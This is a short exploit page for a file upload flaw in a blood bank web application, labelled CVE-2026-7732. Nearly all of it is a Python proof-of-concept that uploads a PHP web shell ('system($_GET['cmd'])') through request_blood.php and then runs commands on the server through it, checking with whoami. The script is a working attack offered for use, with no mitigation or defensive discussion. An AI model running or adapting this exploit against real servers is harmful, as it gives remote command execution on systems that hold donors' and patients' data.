CVE-2026-7732: BloodBank任意文件上传漏洞

import requests # Target configuration target_url = "http://target.com/path/to/request_blood.php" shell_url = "http://target.com/path/to/uploads/shell.php" # PHP payload to execute system commands php_payload = "<?php system($_GET['cmd']); ?>" # Data payload for the upload request # Note: The parameter name 'file' might vary based on the actual form files = { 'file': ('shell.php', php_payload, 'application/octet-stream') } data = { 'submit': 'Submit' # Example submit button value } try: # Send the upload request response = requests.post(target_url, files=files, data=data) if response.status_code == 200: print("[+] File uploaded successfully.") # Verify the shell execution verify = requests.get(shell_url + "?cmd=whoami") if verify.status_code == 200: print("[+] Shell is active!") print(f"[+] Current user: {verify.text}") else: print("[-] Shell upload failed or path incorrect.") else: print(f"[-] Upload failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")